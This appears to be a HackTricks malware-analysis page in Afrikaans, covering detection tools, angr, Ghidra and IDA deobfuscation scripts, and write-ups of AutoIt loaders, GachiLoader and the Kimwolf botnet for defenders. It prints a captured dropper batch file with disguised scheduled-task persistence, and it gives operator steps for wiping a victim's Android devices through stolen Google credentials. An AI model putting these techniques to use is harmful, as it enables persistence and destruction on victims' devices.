Malware Analysis
Tip
Leer & oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Blaai deur die volledige HackTricks Training-katalogus vir die assesseringsroetes (ARTA/GRTA/AzRTA) en Linux Hacking Expert (LHE).
Ondersteun HackTricks
- Kyk na die intekenplanne!
- Sluit aan by die 💬 Discord-groep, die telegram-groep, volg @hacktricks_live op X/Twitter, of kyk na die LinkedIn-bladsy en YouTube-kanaal.
- Deel hacking tricks deur PRs in te stuur na die HackTricks en HackTricks Cloud github repos.
Forensics CheatSheets
https://www.jaiminton.com/cheatsheet/DFIR/#
Online Services
Offline Antivirus and Detection Tools
Yara
Install
sudo apt-get install -y yara
Berei reëls voor
Gebruik hierdie script om al die yara-malware-reëls van github af te laai en saam te voeg: https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9
Skep die rules gids en voer dit uit. Dit sal ’n lêer genaamd malware_rules.yar skep wat al die yara-reëls vir malware bevat.
wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py
mkdir rules
python malware_yara_rules.py
Skandeer
yara -w malware_rules.yar image #Scan 1 file
yara -w malware_rules.yar folder #Scan the whole folder
YaraGen: Kontroleer vir malware en skep rules
Jy kan die tool YaraGen gebruik om yara rules vanaf ’n binary te genereer. Kyk na hierdie tutorials: Part 1, Part 2, Part 3
python3 yarGen.py --update
python3.exe yarGen.py --excludegood -m ../../mals/
ClamAV
Installeer
sudo apt-get install -y clamav
Skandering
sudo freshclam #Update rules
clamscan filepath #Scan 1 file
clamscan folderpath #Scan the whole folder
Capa
Capa detecteer potensieel kwaadaardige capabilities in uitvoerbare lêers: PE, ELF, .NET. Dit sal dus dinge soos Att&ck tactics vind, of verdagte capabilities soos:
- kyk vir OutputDebugString-fout
- hardloop as ’n diens
- skep proses
Kry dit in die Github repo.
IOCs
IOC beteken Indicator Of Compromise. ’n IOC is ’n stel voorwaardes wat identifiseer sommige potensieel ongewenste sagteware of bevestigde malware. Blue Teams gebruik hierdie tipe definisie om vir hierdie soort kwaadaardige lêers in hul stelsels en netwerke te soek.
Om hierdie definisies te deel is baie nuttig, aangesien wanneer malware in ’n rekenaar geïdentifiseer word en ’n IOC vir daardie malware geskep word, ander Blue Teams dit kan gebruik om die malware vinniger te identifiseer.
’n Hulpmiddel om IOCs te skep of te wysig is IOC Editor.
Jy kan hulpmiddels soos Redline gebruik om vir gedefinieerde IOCs in ’n toestel te soek.
Loki
Loki is ’n skandeerder vir Simple Indicators of Compromise.
Opsporing is gebaseer op vier opsporingsmetodes:
1. File Name IOC
Regex match on full file path/name
2. Yara Rule Check
Yara signature matches on file data and process memory
3. Hash Check
Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files
4. C2 Back Connect Check
Compares process connection endpoints with C2 IOCs (new since version v.10)
Linux Malware Detect
Linux Malware Detect (LMD) is ’n malware-skandeerder vir Linux, vrygestel onder die GNU GPLv2-lisensie, wat ontwerp is rondom die bedreigings waarmee shared hosted omgewings te doen kry. Dit gebruik bedreigingsdata van network edge intrusion detection systems om malware te onttrek wat aktief in aanvalle gebruik word en genereer signatures vir detection. Daarbenewens word bedreigingsdata ook afgelei van gebruiker-inskrywings met die LMD checkout feature en malware community resources.
rkhunter
Tools soos rkhunter kan gebruik word om die filesystem te kontroleer vir moontlike rootkits en malware.
sudo ./rkhunter --check -r / -l /tmp/rkhunter.log [--report-warnings-only] [--skip-keypress]
FLOSS
FLOSS is ’n tool wat sal probeer om obfuscated strings binne uitvoerbare lêers te vind deur verskillende tegnieke te gebruik.
PEpper
PEpper kontroleer sommige basiese goed binne die uitvoerbare lêer (binary data, entropy, URLs and IPs, some yara rules).
PEstudio
PEstudio is ’n tool wat toelaat om inligting van Windows-uitvoerbare lêers te kry soos imports, exports, headers, maar sal ook vir virus total kyk en moontlike Att&ck technique vind.
Detect It Easy(DiE)
DiE is ’n tool om te detect of ’n file encrypted is en ook packers te vind.
NeoPI
NeoPI is ’n Python script wat ’n verskeidenheid van statistical methods gebruik om obfuscated en encrypted content binne teks/script files te detect. Die beoogde doel van NeoPI is om te help met die detection of hidden web shell code.
php-malware-finder
PHP-malware-finder doen sy uiterste bes om obfuscated/dodgy code sowel as files wat PHP functions gebruik wat dikwels in malwares/webshells gebruik word, te detect.
Apple Binary Signatures
When checking some malware sample you should always check the signature of the binary as the developer that signed it may be already related with malware.
#Get signer
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"
#Check if the app’s contents have been modified
codesign --verify --verbose /Applications/Safari.app
#Check if the signature is valid
spctl --assess --verbose /Applications/Safari.app
Detection Techniques
File Stacking
As jy weet dat ’n sekere gids wat die files van ’n web server bevat, laas opgedateer is op ’n sekere datum. Kyk na die datum waarop al die files in die web server geskep en gewysig is, en as enige datum verdag is, ondersoek daardie file.
Baselines
As die files van ’n gids nie gewysig behoort te gewees het nie, kan jy die hash van die oorspronklike files van die gids bereken en dit met die huidige een vergelyk. Enigiets wat gewysig is, sal verdag wees.
Statistical Analysis
Wanneer die inligting in logs gestoor word, kan jy statistiek nagaan soos hoeveel keer elke file van ’n web server toegang verkry is, aangesien ’n web shell een van die mees kan wees.
Android in-app native telemetry (no root)
Op Android kan jy native code binne die teiken app-proses instrumenteer deur ’n klein logger library vooraf te laai voordat ander JNI libs inisialiseer. Dit gee vroeë sigbaarheid in native gedrag sonder system-wide hooks of root. ’n Gewilde benadering is SoTap: plaas libsotap.so vir die regte ABI in die APK en voeg ’n System.loadLibrary(“sotap”) aanroep vroeg in (bv. static initializer of Application.onCreate), en versamel dan logs vanaf internal/external paths of Logcat fallback.
Sien die Android native reversing bladsy vir opstellingbesonderhede en log paths:
Android/JNI native string deobfuscation with angr + Ghidra
Sommige Android malware en RASP-beskermde apps versteek JNI method names en signatures deur dit by runtime te dekodeer voordat RegisterNatives geroep word. Wanneer Frida/ptrace instrumentation deur anti-debug beëindig word, kan jy steeds die plaintext offline herstel deur die in-binary decoder met angr uit te voer en dan die resultate terug in Ghidra in te voer as comments.
Kernidee: behandel die decoder binne die .so as ’n callable function, voer dit uit op die obfuscated byte blobs in .rodata, en concretize die output bytes tot by die eerste \x00 (C-string terminator). Hou angr en Ghidra op dieselfde image base om address mismatches te vermy.
Workflow overview
- Triage in Ghidra: identifiseer die decoder en sy calling convention/arguments in JNI_OnLoad en RegisterNatives setup.
- Run angr (CPython3) om die decoder vir elke teikentekst uit te voer en resultate te dump.
- Annotate in Ghidra: auto-comment decoded strings by elke call site vir vinnige JNI reconstruction.
Ghidra triage (JNI_OnLoad pattern)
- Apply JNI datatypes to JNI_OnLoad sodat Ghidra JNINativeMethod structures herken.
- Typical JNINativeMethod per Oracle docs:
typedef struct {
char *name; // e.g., "nativeFoo"
char *signature; // e.g., "()V", "()[B"
void *fnPtr; // native implementation address
} JNINativeMethod;
- Soek vir calls to RegisterNatives. As die library die name/signature bou met ’n local routine (bv. FUN_00100e10) wat na ’n static byte table (bv. DAT_00100bf4) verwys en parameters neem soos (encoded_ptr, out_buf, length), is dit ’n ideale target vir offline execution.
angr setup (execute the decoder offline)
- Laai die .so met dieselfde base wat in Ghidra gebruik is (example: 0x00100000) en disable auto-loading van external libs om die state klein te hou.
angr setup and offline decoder execution
```python import angr, jsonproject = angr.Project( ‘/path/to/libtarget.so’, load_options={‘main_opts’: {‘base_addr’: 0x00100000}}, auto_load_libs=False, )
ENCODING_FUNC_ADDR = 0x00100e10 # decoder function discovered in Ghidra
def decode_string(enc_addr, length):
fresh blank state per evaluation
st = project.factory.blank_state() outbuf = st.heap.allocate(length) call = project.factory.callable(ENCODING_FUNC_ADDR, base_state=st) ret_ptr = call(enc_addr, outbuf, length) # returns outbuf pointer rs = call.result_state raw = rs.solver.eval(rs.memory.load(ret_ptr, length), cast_to=bytes) return raw.split(b’\x00’, 1)[0].decode(‘utf-8’, errors=‘ignore’)
Example: decode a JNI signature at 0x100933 of length 5 → should be ()[B
print(decode_string(0x00100933, 5))
</details>
- Op skaal, bou ’n statiese kaart van call sites na die decoder se argumente (encoded_ptr, size). Wrappers kan argumente verberg, so jy mag hierdie kartering handmatig skep vanuit Ghidra xrefs as API recovery raserig is.
<details>
<summary>Batch decode multiple call sites with angr</summary>
```python
# call_site -> (encoded_addr, size)
call_site_args_map = {
0x00100f8c: (0x00100b81, 0x41),
0x00100fa8: (0x00100bca, 0x04),
0x00100fcc: (0x001007a0, 0x41),
0x00100fe8: (0x00100933, 0x05),
0x0010100c: (0x00100c62, 0x41),
0x00101028: (0x00100c15, 0x16),
0x00101050: (0x00100a49, 0x101),
0x00100cf4: (0x00100821, 0x11),
0x00101170: (0x00100940, 0x101),
0x001011cc: (0x0010084e, 0x13),
0x00101334: (0x001007e9, 0x0f),
0x00101478: (0x0010087d, 0x15),
0x001014f8: (0x00100800, 0x19),
0x001015e8: (0x001008e6, 0x27),
0x0010160c: (0x00100c33, 0x13),
}
decoded_map = { hex(cs): decode_string(enc, sz)
for cs, (enc, sz) in call_site_args_map.items() }
import json
print(json.dumps(decoded_map, indent=2))
with open('decoded_strings.json', 'w') as f:
json.dump(decoded_map, f, indent=2)
Annoteer call sites in Ghidra
Opsie A: Jython-only comment writer (gebruik ’n vooraf berekende JSON)
- Aangesien angr CPython3 vereis, hou deobfuscation en annotasie geskei. Hardloop eers die angr script hierbo om decoded_strings.json te produseer. Hardloop dan hierdie Jython GhidraScript om PRE_COMMENTs by elke call site te skryf (en sluit die caller function name vir konteks in):
Ghidra Jython script to annotate decoded JNI strings
```python #@category Android/Deobfuscation # Jython in Ghidra 10/11 import json from ghidra.program.model.listing import CodeUnitAsk for the JSON produced by the angr script
f = askFile(‘Select decoded_strings.json’, ‘Load’) mapping = json.load(open(f.absolutePath, ‘r’)) # keys as hex strings
fm = currentProgram.getFunctionManager() rm = currentProgram.getReferenceManager()
Replace with your decoder address to locate call-xrefs (optional)
ENCODING_FUNC_ADDR = 0x00100e10 enc_addr = toAddr(ENCODING_FUNC_ADDR)
callsite_to_fn = {} for ref in rm.getReferencesTo(enc_addr): if ref.getReferenceType().isCall(): from_addr = ref.getFromAddress() fn = fm.getFunctionContaining(from_addr) if fn: callsite_to_fn[from_addr.getOffset()] = fn.getName()
Write comments from JSON
for k_hex, s in mapping.items(): cs = int(k_hex, 16) site = toAddr(cs) caller = callsite_to_fn.get(cs, None) text = s if caller is None else ‘%s @ %s’ % (s, caller) currentProgram.getListing().setComment(site, CodeUnit.PRE_COMMENT, text) print(‘[+] Annotated %d call sites’ % len(mapping))
</details>
Option B: Single CPython script via pyhidra/ghidra_bridge
- Alternatiewelik, gebruik pyhidra of ghidra_bridge om Ghidra se API vanaf dieselfde CPython-proses wat angr laat loop te beheer. Dit laat toe dat decode_string() geroep word en PRE_COMMENTs onmiddellik ingestel word sonder ’n intermediêre lêer. Die logika stem ooreen met die Jython-skrip: bou die callsite→function-kaart via ReferenceManager, dekodeer met angr, en stel kommentaar.
Why this works and when to use it
- Offline uitvoering vermy RASP/anti-debug: geen ptrace, geen Frida hooks nodig om strings te herstel nie.
- Om Ghidra en angr base_addr in lyn te hou (bv. 0x00100000) verseker dat function/data-addresses oor tools ooreenstem.
- Herhaalbare resep vir decoders: behandel die transform as ’n pure function, allokeer ’n output buffer in ’n vars state, roep dit met (encoded_ptr, out_ptr, len), en concretize dan via state.solver.eval en parse C-strings tot by \x00.
Notes and pitfalls
- Respekteer die target ABI/calling convention. angr.factory.callable kies een gebaseer op arch; as arguments geskuif lyk, spesifiseer cc eksplisiet.
- As die decoder nulgevulde output buffers verwag, initialiseer outbuf met nulle in die state voor die call.
- Vir position-independent Android .so, verskaf altyd base_addr sodat addresses in angr ooreenstem met dié wat in Ghidra gesien word.
- Gebruik currentProgram.getReferenceManager() om call-xrefs te lys, selfs al verpak die app die decoder agter dun stubs.
For angr basics, see: [angr basics](../../reversing/reversing-tools-basic-methods/angr/README.md)
---
## Deobfuscating Dynamic Control-Flow (JMP/CALL RAX Dispatchers)
Moderne malware families misbruik swaar Control-Flow Graph (CFG)-obfuscation: in plaas van ’n direkte jump/call, bereken hulle die destination by run-time en voer ’n `jmp rax` of `call rax` uit. ’n Klein *dispatcher* (tipies nege instructions) stel die finale target op grond van die CPU `ZF`/`CF` flags, en breek statiese CFG-recovery heeltemal.
Die technique – gedemonstreer deur die SLOW#TEMPEST loader – kan met ’n drie-stap workflow verslaan word wat slegs op IDAPython en die Unicorn CPU emulator staatmaak.
### 1. Vind elke indirekte jump / call
```python
import idautils, idc
for ea in idautils.FunctionItems(idc.here()):
mnem = idc.print_insn_mnem(ea)
if mnem in ("jmp", "call") and idc.print_operand(ea, 0) == "rax":
print(f"[+] Dispatcher found @ {ea:X}")
2. Onttrek die dispatcher byte-code
import idc
def get_dispatcher_start(jmp_ea, count=9):
s = jmp_ea
for _ in range(count):
s = idc.prev_head(s, 0)
return s
start = get_dispatcher_start(jmp_ea)
size = jmp_ea + idc.get_item_size(jmp_ea) - start
code = idc.get_bytes(start, size)
open(f"{start:X}.bin", "wb").write(code)
3. Emuleer dit twee keer met Unicorn
from unicorn import *
from unicorn.x86_const import *
import struct
def run(code, zf=0, cf=0):
BASE = 0x1000
mu = Uc(UC_ARCH_X86, UC_MODE_64)
mu.mem_map(BASE, 0x1000)
mu.mem_write(BASE, code)
mu.reg_write(UC_X86_REG_RFLAGS, (zf << 6) | cf)
mu.reg_write(UC_X86_REG_RAX, 0)
mu.emu_start(BASE, BASE+len(code))
return mu.reg_read(UC_X86_REG_RAX)
Run run(code,0,0) en run(code,1,1) om die false en true branch teikens te verkry.
4. Patch terug ’n direkte jump / call
import struct, ida_bytes
def patch_direct(ea, target, is_call=False):
op = 0xE8 if is_call else 0xE9 # CALL rel32 or JMP rel32
disp = target - (ea + 5) & 0xFFFFFFFF
ida_bytes.patch_bytes(ea, bytes([op]) + struct.pack('<I', disp))
Ná patching, dwing IDA om die function weer te analiseer sodat die volle CFG en Hex-Rays-uitset herstel word:
import ida_auto, idaapi
idaapi.reanalyze_function(idc.get_func_attr(ea, idc.FUNCATTR_START))
5. Benoem indirekte API-oproepe
Sodra die werklike bestemming van elke call rax bekend is, kan jy IDA vertel wat dit is sodat parameter-tipes en veranderlike-name outomaties herwin word:
idc.set_callee_name(call_ea, resolved_addr, 0) # IDA 8.3+
Praktiese voordele
- Herstel die werklike CFG → decompilation gaan van 10 reëls na duisende.
- Maak string-cross-reference & xrefs moontlik, wat gedragsrekonstruksie triviaal maak.
- Skripte is herbruikbaar: plaas hulle in enige loader wat deur dieselfde trick beskerm word.
AutoIt-based loaders: .a3x decryption, Task Scheduler masquerade and RAT injection
Hierdie intrusiepatroon kombineer ’n ondertekende MSI, AutoIt loaders saamgestel na .a3x, en ’n Task Scheduler job wat hom as ’n benigne app voordoen.
MSI → custom actions → AutoIt orchestrator
Prosesboom en commands uitgevoer deur die MSI custom actions:
- MsiExec.exe → cmd.exe om install.bat te run
- WScript.exe om ’n lokval error dialog te wys
%SystemRoot%\system32\cmd.exe /c %APPDATA%\스트레스 클리어\install.bat
%SystemRoot%\System32\WScript.exe %APPDATA%\스트레스 클리어\error.vbs
install.bat (laat loader val, stel persistence in, self-cleans):
@echo off
set dr=Music
copy "%~dp0AutoIt3.exe" %public%\%dr%\AutoIt3.exe
copy "%~dp0IoKlTr.au3" %public%\%dr%\IoKlTr.au3
cd /d %public%\%dr% & copy c:\windows\system32\schtasks.exe hwpviewer.exe ^
& hwpviewer /delete /tn "IoKlTr" /f ^
& hwpviewer /create /sc minute /mo 1 /tn "IoKlTr" /tr "%public%\%dr%\AutoIt3.exe %public%\%dr%\IoKlTr.au3"
del /f /q "%~dp0AutoIt3.exe"
del /f /q "%~dp0IoKlTr.au3"
del /f /q "%~f0"
error.vbs (user lokmiddel):
MsgBox "현재 시스템 언어팩과 프로그램 언어팩이 호환되지 않아 실행할 수 없습니다." & vbCrLf & _
"설정에서 한국어(대한민국) 언어팩을 설치하거나 변경한 뒤 다시 실행해 주세요.", _
vbCritical, "언어팩 오류"
Belangrike artefakte en vermomming:
- Laat AutoIt3.exe en IoKlTr.au3 val na C:\Users\Public\Music
- Kopieer schtasks.exe na hwpviewer.exe (verdoesel as Hangul Word Processor viewer)
- Skep ’n geskeduleerde taak “IoKlTr” wat elke 1 minuut loop
- Startup LNK gesien as Smart_Web.lnk; mutex:
Global\AB732E15-D8DD-87A1-7464-CE6698819E701 - Stage modules onder %APPDATA%\Google\Browser\ subfolders wat
adbofadvbevat en begin hulle via autoit.vbs/install.bat helpers
Forensiese triage-wenke:
- schtasks-enumerasie:
schtasks /query /fo LIST /v | findstr /i "IoKlTr hwpviewer" - Soek vir hernoemde kopieë van schtasks.exe co-located met Task XML:
dir /a "C:\Users\Public\Music\hwpviewer.exe" - Algemene paths:
C:\Users\Public\Music\AutoIt3.exe,...\IoKlTr.au3, StartupSmart_Web.lnk,%APPDATA%\Google\Browser\(adb|adv)* - Korreleer process creation: AutoIt3.exe wat legit Windows binaries spawn (bv. cleanmgr.exe, hncfinder.exe)
AutoIt loaders and .a3x payload decryption → injection
- AutoIt modules word compiled met
#AutoIt3Wrapper_Outfile_type=a3xen decrypt embedded payloads voordat hulle in benign processes inject. - Waargenome families: QuasarRAT (ingesluit in hncfinder.exe) en RftRAT/RFTServer (ingesluit in cleanmgr.exe), asook RemcosRAT modules (
Remcos\RunBinary.a3x). - Decryption patroon: deriveer ’n AES key via HMAC, decrypt die embedded blob, en inject dan die plaintext module.
Generiese decryption skeleton (presiese HMAC input/algorithm is family-specific):
import hmac, hashlib
from Crypto.Cipher import AES
def derive_aes_key(secret: bytes, data: bytes) -> bytes:
# Example: HMAC-SHA256 → first 16/32 bytes as AES key
return hmac.new(secret, data, hashlib.sha256).digest()
def aes_decrypt_cbc(key: bytes, iv: bytes, ct: bytes) -> bytes:
return AES.new(key, AES.MODE_CBC, iv=iv).decrypt(ct)
Algemene injection flow (CreateRemoteThread-styl):
- CreateProcess (suspended) van die target host (bv. cleanmgr.exe)
- VirtualAllocEx + WriteProcessMemory met gedekripte module/shellcode
- CreateRemoteThread of QueueUserAPC om payload uit te voer
Jaghulpidees
- AutoIt3.exe met ouerproses MsiExec.exe of WScript.exe wat system utilities spawn
- Files met
.a3xuitbreidings of AutoIt script runners onder public/user-writable paths - Suspicious scheduled tasks wat AutoIt3.exe of binaries wat nie deur Microsoft gesign is nie uitvoer, met minute-vlak triggers
Account-takeover abuse van Android Find My Device (Find Hub)
Tydens die Windows intrusion het operators gesteelde Google credentials gebruik om herhaaldelik die slagoffer se Android devices te wipe, terwyl notifications onderdruk is en hulle access uitgebrei het via die slagoffer se logged-in desktop messenger.
Operator steps (vanuit ’n logged-in browser session):
- Review Google Account → Security → Your devices; volg Find My Phone → Find Hub (https://www.google.com/android/find)
- Select device → voer Google password weer in → issue “Erase device” (factory reset); herhaal om recovery te vertraag
- Optional: clear alert e-mails in die linked mailbox (bv. Naver) om security notifications te versteek
Tracing heavily obfuscated Node.js loaders
Aanvallers bundle toenemend JavaScript loaders binne standalone Windows binaries wat met nexe compiled is, sodat die runtime saam met die script shipping. Die resulting PE weeg dikwels 60–90 MB en execute selfs al is Node.js nie geïnstalleer nie. Tydens triage:
- Gebruik
nexe_unpackerom die embedded JavaScript uit die PE te carve en dit na local tooling te voer vir static diffing. - Verwag ’n disk-based mutex in
%TEMP%(GachiLoader laat ’n random<name>.lockfile wat na ongeveer 5 minutes expire). Om die file na die sandbox te copy voor execution laat jou toe om redundant stages oor te slaan terwyl jy steeds later payloads sien.
Node.js API tracing to defeat anti-analysis
Check Point se Nodejs-Tracer hook core modules binne enige Node.js process, laat jou toe om anti-VM probes te spoof, en preserve elke artifact wat die sample skryf. Launch obfuscated scripts deur die tracer om analyst-controlled instrumentation in die call stack te hou:
node -r .\tracer.js main.js
Sleutel-konfigurasie-skakelaars binne tracer.js laat jou toe om:
- Lêerstelsel-, child-process-, en HTTP-aktiwiteit te log (
LOG_HTTP_REQUESTS,SAVE_FILE_WRITES). Elke gestorte lêer—sooskidkadi.node—word voor die malware dit uitvee, na die working directory gekopieer. - Omgewing-vingerafdrukke te oorskryf deur realistiese RAM/CPU-tellings terug te gee,
tasklist-uitvoer te vervals, en PowerShell/WMI-antwoorde te manipuleer. Dit omseil loaders wat ≥4 GB RAM, ≥2 cores vereis, en gebruikersname (mashinesssss,wdagutilityaccount, ens.), hostnames (desktop-vrsqlag,server1…), en process names (vmtoolsd.exe,fiddler.exe,x64dbg.exe,frida-server.exe) ondersoek. - WMI-hardwarekontroles soos
Get-WmiObject Win32_DiskDrive(wat virvmware,kvm,virtio, … soek),Win32_VideoController(wat “VirtualBox Graphics Adapter”, “Hyper-V Video”, ens. blokkeer) enWin32_PortConnector-tellings uit te skakel. Wanneer daardie probes “regte” hardware rapporteer, tref sandboxes nie meer die oneindige lus van onskuldigeInvoke-WebRequest-aanroepe nalinkedin.com,grok.com,whatsapp.com, en soortgelyke domains wat GachiLoader gebruik om analise-tyd te mors nie.
Capturing gated C2 traffic automatically
Die tracer se network hooks onthul multi-layer C2 authentication sonder om die JavaScript-obfuscation om te keer. In die waargenome campaign het die loader:
POSTs host telemetry na/logop elke hard-coded C2.GET /richfamily/<per-sample key>metX-Secret: gachifamilyuitgereik om ’n Base64-enkodeerde payload URL te verkry.- ’n finale
GETna daardie URL uitgevoer met ’n lang per-sampleX-Secretheader; as dit ontbreek, gee dit403 Forbiddenterug.
Omdat die tracer volledige requests (headers, bodies, destinations) opneem, kan jy dieselfde traffic herhaal om payloads te trek, Themida/VMProtect shells in memory uit te stort, en Rhadamanthys configuration data op skaal te onttrek.
AdaptixC2: Configuration Extraction and TTPs
Sien die toegewyde bladsy:
Adaptixc2 Config Extraction And Ttps
Kimwolf Android Botnet Tradecraft
APK loader & native ELF execution on TV boxes
- Kwaadwillige APKs soos
com.n2.systemservice06*stuur ’n statically linked ARM ELF binneres/rawsaam (bv.R.raw.libniggakernel). ’nBOOT_COMPLETEDreceiver loop by opstart, onttrek die raw resource na die app sandbox (bv./data/data/<pkg>/niggakernel), maak dit uitvoerbaar en roep dit metsuaan. - Baie Android TV boxes/tablets word met vooraf-rooted images of world-writable
suverskaf, so die loader boot die ELF betroubaar met UID 0 selfs sonder ’n exploit chain. Persistence kom “vertoonlik” omdat die receiver ná elke reboot of app restart weer begin. - Reverse engineers wat vir hierdie patroon soek, kan
AndroidManifest.xmldiff vir verborge boot receivers plus code wat naResources.openRawResource→FileOutputStream→Runtime.getRuntime().exec("su")verwys. Sodra die ELF laat val word, hanteer dit as ’n Linux userland backdoor (Kimwolf is UPX-packed, stripped, statically linked, 32-bit ARM EABI5).
Runtime mutexes & masquerading IOCs
- By opstart bind Kimwolf ’n abstract UNIX domain socket soos
@niggaboxv4/@niggaboxv5. Bestaande sockets forseer ’n exit, so die socket name werk beide as ’n mutex en ’n forensiese artefak. - Die process title word oorskryf met diens-agtige name (
netd_services,tv_helper, ens.) om in Android process listings in te meng. Host-based detections kan op hierdie name, saam met die mutex socket, alarm maak.
Stack XOR string decoding with ARM NEON + flare_emu
- Gevoelige strings (C2 domains, resolvers, DoT endpoints) word in geïnkripteerde 8-byte blocks op die stack geplaas en in plek gedecodeer via
VEOR Qx, Qx, Qy(veorq_s64). Analysts kan flare_emu skryf om die gedecodeerde pointer vas te vang elke keer as die decryptor dit aan die caller oorhandig:
import flare_emu
eh = flare_emu.EmuHelper()
def hook(eh, addr, argv, _):
if eh.isValidEmuPtr(argv[1]):
print(hex(addr), eh.getEmuString(argv[1]))
eh.iterate(0x8F00, hook) # sub_8F00 consumes the plaintext R1 argument
- Soek vir
VEOR Q8, Q8, Q9/veorq_s64rye en emuleer hul ranges dump elke gedekripte string massaal, en omseil die stack-only lifetime van die plaintext.
DNS-over-TLS resolution plus XOR IP derivation
- Alle Kimwolf-variante resolve C2-domains deur DNS-over-TLS (TCP/853) direk met Google (8.8.8.8) of Cloudflare (1.1.1.1) te praat, en sodoende plain DNS logging of hijacking te verydel.
- v4 bots gebruik eenvoudig die teruggestuurde IPv4 A-record. v5 bots behandel die A-record as ’n 32-bit integer, ruil sy endianness om, XOR dit met die konstante
0x00ce0491, en flip dan die endianness terug om die werklike C2 IP te verkry. CyberChef-resep: Change IP format → swap endianness per 4-byte chunk → XOR with00 ce 04 91→ convert back to dotted decimal.
ENS / EtherHiding fallback
- Later builds voeg ’n ENS-domain (
pawsatyou.eth) by waarvan die resolver text key"lol"’n onskuldig-lykende IPv6 (fed0:5dec:...:1be7:8599) stoor. - Die bot gryp die laaste vier bytes (
1b e7 85 99), XOR dit met0x93141715, en interpreteer die resultaat as ’n IPv4 C2 (136.243.146.140). Die opdatering van die ENS text record roteer downstream C2s onmiddellik via die blockchain sonder om DNS aan te raak.
TLS + ECDSA authenticated command channel
- Traffic word ingekapsel in wolfSSL met ’n custom framed protocol:
struct Header {
Magic [4]byte // e.g. "DPRK", "FD9177FF", "AD216CD4"
Reserved uint8 // 0x01
MsgType uint8 // verb
MsgID uint32
BodyLen uint32
CRC32 uint32
}
- Bootstrap: die bot stuur twee leë
MsgType=0 (register)headers. Die C2 antwoord metMsgType=1 (verify)wat ’n ewekansige challenge plus ’n ASN.1 DER ECDSA signature bevat. Bots verifieer dit teen ’n embedded SubjectPublicKeyInfo blob; mislukkings beëindig die sessie, wat verhinder dat hijacked/sinkholed C2 nodes die fleet kan task. - Sodra verifieer is, stuur die bot ’n
MsgType=0body wat die operator-defined group string bevat (bv.android-postboot-rt). As die group enabled is, antwoord die C2 metMsgType=2 (confirm), waarna tasking (MsgType 5–12) begin. - Supported verbs sluit SOCKS-style TCP/UDP proxying in (residential proxy monetization), reverse shell / single command exec, file read/write, en Mirai-compatible DDoSBody payloads (dieselfde
AtkType,Duration,Targets[],Flags[]layout).
Partial-encryption ransomware: lost stream-cipher nonces
Some ransomware families partially encrypt files for speed, but when they use a stream cipher independently on multiple chunks, every encrypted region needs its own persisted nonce/IV. If the sample generates a fresh nonce per chunk and overwrites the same 12-byte buffer inside the loop, then appends only the final value to disk, the previous chunks become cryptographically unrecoverable even if the attacker later shares the key.
Typical broken pattern:
for (i = 0; i < 4; i++) {
randombytes_buf(nonce, 12); // same buffer reused each round
crypto_stream_chacha20_ietf_xor(chunk, chunk, len, nonce, key);
}
write(fd, nonce, 12); // only the last nonce survives
Verwysings
- Unit42 – Evolving Tactics of SLOW#TEMPEST: A Deep Dive Into Advanced Malware Techniques
- SoTap: Lightweight in-app JNI (.so) behavior logger – github.com/RezaArbabBot/SoTap
- Strategies for Analyzing Native Code in Android Applications: Combining Ghidra and Symbolic Execution for Code Decryption and Deobfuscation – revflash.medium.com
- Ghidra – github.com/NationalSecurityAgency/ghidra
- angr – angr.io
- JNI_OnLoad and invocation API – docs.oracle.com
- RegisterNatives – docs.oracle.com
- Tracing JNI Functions – valsamaras.medium.com
- Native Enrich: Scripting Ghidra and Frida to discover hidden JNI functions – laripping.com
- Unit42 – AdaptixC2: A New Open-Source Framework Leveraged in Real-World Attacks
- KONNI-linked APT abuses Google Find Hub to wipe Android devices after Windows intrusion – genians.co.kr
- Android Find My Device (Find Hub) – google.com/android/find
- RftRAT/RFTServer technical analysis – asec.ahnlab.com
- HMAC background – wikipedia.org/wiki/HMAC
- Kimwolf Android TV Botnet: ENS-Based C2 Evasion, TLS+ECDSA C2 Protocol, and Large-Scale Proxy/DDoS Operations – blog.xlab.qianxin.com
- Check Point Research – GachiLoader: Defeating Node.js Malware with API Tracing
- Nodejs-Tracer – GitHub
- Check Point Research – VECT: Ransomware by design, Wiper by accident
- Libsodium documentation – ChaCha20 stream cipher APIs
- RFC 8439 – ChaCha20 and Poly1305 for IETF Protocols
Tip
Leer & oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Blaai deur die volledige HackTricks Training-katalogus vir die assesseringsroetes (ARTA/GRTA/AzRTA) en Linux Hacking Expert (LHE).
Ondersteun HackTricks
- Kyk na die intekenplanne!
- Sluit aan by die 💬 Discord-groep, die telegram-groep, volg @hacktricks_live op X/Twitter, of kyk na die LinkedIn-bladsy en YouTube-kanaal.
- Deel hacking tricks deur PRs in te stuur na die HackTricks en HackTricks Cloud github repos.


